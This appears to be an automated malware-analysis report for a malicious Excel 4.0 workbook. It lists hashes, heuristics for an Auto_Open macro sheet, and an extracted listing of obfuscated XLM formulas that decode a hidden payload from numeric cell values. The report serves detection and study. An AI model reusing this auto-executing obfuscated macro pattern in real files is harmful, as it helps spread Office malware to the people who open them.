Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 968dff469b8d202d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:29 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 2768c6f151eeebe4b809d9d791ebfa0a SHA-1: a52b9d85192c0f304564386edb9461c86778c91f SHA-256: 968dff469b8d202d3815228ceb233708a40796ef979494051cfc7afa35337eb3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6810 bytes
SHA-256: edfef8d469a8beca50d9963ecbf23f8383044153177500ebddbf1a183a80d303
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aBKHIcBQSc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G182 
' 0018     26 LABEL : Cell Value, String Constant - cUxJsVypGcn len=0 
' 0018     25 LABEL : Cell Value, String Constant - DDLbiBMYnc len=0 
' 0018     21 LABEL : Cell Value, String Constant - eMRyDW len=0 
' 0018     24 LABEL : Cell Value, String Constant - FCcooMFii len=0 
' 0018     26 LABEL : Cell Value, String Constant - fqAzsCJkfFj len=0 
' 0018     25 LABEL : Cell Value, String Constant - gHRvkorkpT len=0 
' 0018     21 LABEL : Cell Value, String Constant - JALrYa len=0 
' 0018     27 LABEL : Cell Value, String Constant - jVpjqpYxrwNJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - kEkMdxt len=0 
' 0018     20 LABEL : Cell Value, String Constant - kmrJD len=0 
' 0018     24 LABEL : Cell Value, String Constant - kPcBlBUIe len=0 
' 0018     23 LABEL : Cell Value, String Constant - kQckEDFS len=0 
' 0018     20 LABEL : Cell Value, String Constant - MqAnb len=0 
' 0018     23 LABEL : Cell Value, String Constant - OGWlTIlz len=0 
' 0018     27 LABEL : Cell Value, String Constant - pFgeqKcxcSgp len=0 
' 0018     20 LABEL : Cell Value, String Constant - QdySl len=0 
' 0018     21 LABEL : Cell Value, String Constant - qhhDtS len=0 
' 0018     22 LABEL : Cell Value, String Constant - SygeWHV len=0 
' 0018     21 LABEL : Cell Value, String Constant - WBODIV len=0 
' 0018     23 LABEL : Cell Value, String Constant - YtgBtGAM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aBKHIcBQSc,S44,"",469.00000000000000000000
'  aBKHIcBQSc,S45,"",473.00000000000000000000
'  aBKHIcBQSc,S46,"",804.00000000000000000000
'  aBKHIcBQSc,S47,"",-139.00000000000000000000
'  aBKHIcBQSc,S48,"",-487.00000000000000000000
'  aBKHIcBQSc,S49,"",-657.00000000000000000000
'  aBKHIcBQSc,G84,"SET.NAME("kmrJD",0+VALUE("0"))",""
'  aBKHIcBQSc,G89,"SET.NAME("cUxJsVypGcn",kmrJD)",""
'  aBKHIcBQSc,G93,"SET.NAME("fqAzsCJkfFj",kmrJD)",""
'  aBKHIcBQSc,G96,"SET.NAME("OGWlTIlz",COUNTA(gHRvkorkpT))",""
'  aBKHIcBQSc,G101,"SET.NAME("kEkMdxt",COUNTA(JALrYa))",""
'  aBKHIcBQSc,G106,[],""
'  aBKHIcBQSc,G111,"SET.NAME("SygeWHV","")",""
'  aBKHIcBQSc,G116,"cUxJsVypGcn",""
'  aBKHIcBQSc,G119,"SET.NAME("kQckEDFS",HLOOKUP("*",gHRvkorkpT,cUxJsVypGcn,FALSE))",""
'  aBKHIcBQSc,G122,"jVpjqpYxrwNJ",""
'  aBKHIcBQSc,G125,"SET.NAME("DDLbiBMYnc",kmrJD)",""
'  aBKHIcBQSc,G129,[],""
'  aBKHIcBQSc,G132,"DDLbiBMYnc",""
'  aBKHIcBQSc,G134,"kPcBlBUIe",""
'  aBKHIcBQSc,G139,"YtgBtGAM",""
'  aBKHIcBQSc,G144,"pFgeqKcxcSgp",""
'  aBKHIcBQSc,G149,"SET.NAME("WBODIV",VALUE(HLOOKUP("*",JALrYa,pFgeqKcxcSgp,FALSE)))",""
'  aBKHIcBQSc,G154,"FCcooMFii",""
'  aBKHIcBQSc,G156,"SygeWHV",""
'  aBKHIcBQSc,G161,"fqAzsCJkfFj",""
'  aBKHIcBQSc,G163,NEXT(),""
'  aBKHIcBQSc,G166,"eMRyDW",""
'  aBKHIcBQSc,G170,[],""
'  aBKHIcBQSc,G173,"qhhDtS",""
'  aBKHIcBQSc,G177,NEXT(),""
'  aBKHIcBQSc,G180,RETURN(),""
'  aBKHIcBQSc,G204,"SET.NAME("MqAnb",G84)",""
'  aBKHIcBQSc,G208,"gHRvkorkpT",""
'  aBKHIcBQSc,G213,"SET.NAME("JALrYa",R98C14)",""
'  aBKHIcBQSc,G216,"SET.NAME("qhhDtS",222)",""
'  aBKHIcBQSc,G218,"SET.NAME("QdySl",7)",""
'  aBKHIcBQSc,G221,MqAnb(),""
'  aBKHIcBQSc,G222,HALT(),""

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